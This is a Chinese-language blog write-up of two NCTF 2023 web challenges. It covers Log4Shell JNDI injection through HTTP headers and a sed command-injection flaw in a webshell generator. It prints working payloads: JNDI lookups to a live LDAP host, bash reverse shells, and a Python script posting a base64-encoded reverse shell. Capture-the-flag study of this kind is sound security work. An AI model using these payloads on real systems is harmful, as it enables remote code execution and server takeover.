NCTF2023-web-部分wp

EddieMurphy-blogs / 2024-01-14 / 原文

期末考完了,芜湖~~~~复工!

NCTF好巧不巧出在我们期末周复习的时间,当时也只是上线看了一点,有些题有点思路,但是还是因为积累知识不足,想不出什么姿势。

现在能复现出的就尽量看看吧。

logging

记忆犹新,因为队里一个佬来了一看,说是一眼签到题,哈哈哈哈哈哈。

Java安全以前没怎么接触过,后面看了下其他师傅的wp,就一个简单的payload就出了。

根据题目hint:

需要让Springboot控制台报错。

官方说法的核⼼思路是如何构造⼀个畸形的 HTTP 数据包使得 SpringBoot 控制台报错

fuzz出Accept头存在log4j的漏洞。

⼀个思路是 Accept 头, 如果 mine type 类型不对控制台会调⽤ logger 输出⽇志:
logging-web-1 | 2023-12-24 09:15:41.220 WARN 7 --- [nio-8080-exec-2]
.w.s.m.s.DefaultHandlerExceptionResolver : Resolved
[org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse
'Accept' header [123]: Invalid mime type "123": does not contain '/']
另外还有 Host 头, 但是只能⽤⼀次, 第⼆次往后就不能再打印⽇志了
其实⼀些扫描器⿊盒也能直接扫出来 (例如 nuclei):
[CVE-2021-44228] [http] [critical] http://124.71.184.68:8011/
[accept,25db884fff4b]

后面就是JNDI注入。

这里了解了一下JNDI(Java Naming and Directory Interface,Java命名和目录接口)注入:

JNDI注入原理浅析-腾讯云开发者社区-腾讯云 (tencent.com)

JAVA安全之Log4j-Jndi注入原理以及利用方式_jndi注入的利用-CSDN博客

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识_ove-2021-44228-CSDN博客

攻击流程:

这里用JNDI-Injection-Exploit工具可以一键出payload。

GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

队里给的思路是pom.xml中日志依赖换成log4j,Accept字段打jndi反弹shell。
 
payload:
bash -i >& /dev/tcp/vps/port 0>&1
//payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,<base64后的命令>}|{base64,-d}|{bash,-i}" -A xxxx

 

星盟wp里的过程:

 

用host请求头打:

GET / HTTP/1.1
Host: ${jndi:ldap://118.89.61.71:1389/Basic/ReverseShell/ip/port}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

或用Accept请求头打:

GET / HTTP/1.1
Host: 124.71.184.68:8011
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8${jndi:ldap://ip:port/Basic/ReverseShell/ip/port}
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: aiovg_rand_seed=1362609461Upgrade-Insecure-Requests: 1

来自:NCTF2023 - Zer0peach can't think

 

Webshell Generator

这个我自己做的时候,感觉还挺好玩,直接能帮你出一个php的一句话木马,虽然自己写也很简单,所以就在想能不能把这个木马通过一定的方式写进后台,但是显然不能,姿势不对。

后面看了下hint:

download.php可以任意文件读。无权限读取/flag。

最后一个hint:
查询man⼿册sed, a stream editor (gnu.org)或互联⽹得知,GNU sed可以通过e指令执⾏系统命令。闭合原先的s指令,执
⾏/readflag,会将flag插⼊到输出⽂件的第⼀⾏。⾃动跳转到download.php读取即可。、
 
sed指令可以通过换行符分隔,[也可以通过;分隔]
sed, a stream editor (gnu.org)
can be separated by semicolons (%3B)

看到:

<input name="key" type="text" value="114" pattern="[A-Za-z0-9]+" title="你的key太复杂了!简单点!o.O">

就一个简单的前端验证,直接F12修改页面源码或抓包软件绕过前端格式限制就行了。

然后在key栏提交:

/g;1e /readflag;s//

# 即:
# sed -i "s/KEY//g;1e /readflag;s///g" "$NEW_FILENAME"

s/KEY//g这东西是个替换操作,将$NEW_FILENAME这个文件里所有的KEY都替换成空。;用来分隔多个sed命令。e这东西可以用来执行系统命令(比如/readflag),前面加个1表示将执行结果插入到文件第一行。后面又用了一个;分割并将所有空字符串替换成空字符串。

KEYMETHOD都可控,随便改一个就行。

 

官方wp也给了一种base64编码的反弹shell方法:Java Runtime Converter (sudokaikan.com)

import requests
resp = requests.post("http://117.50.175.234:8001/index.php",data=
{"language":"PHP","key":'''/g; 1e bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTQuMTUuNTAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" #s//''',"method":"1","filename":"2"})
print(resp.status_code,resp.text)

星盟wp的过程如下:

 

 

 

后续这几天再更一下。

参考:

NCTF2023 - Zer0peach can't think

2023_NCTF_Web题目复现 - RenDongjun's Blog (notnad3.github.io)

2023 NCTF writeup-腾讯云开发者社区-腾讯云 (tencent.com)

NCTF 2023 Writeup - 星盟安全团队 (xmcve.com)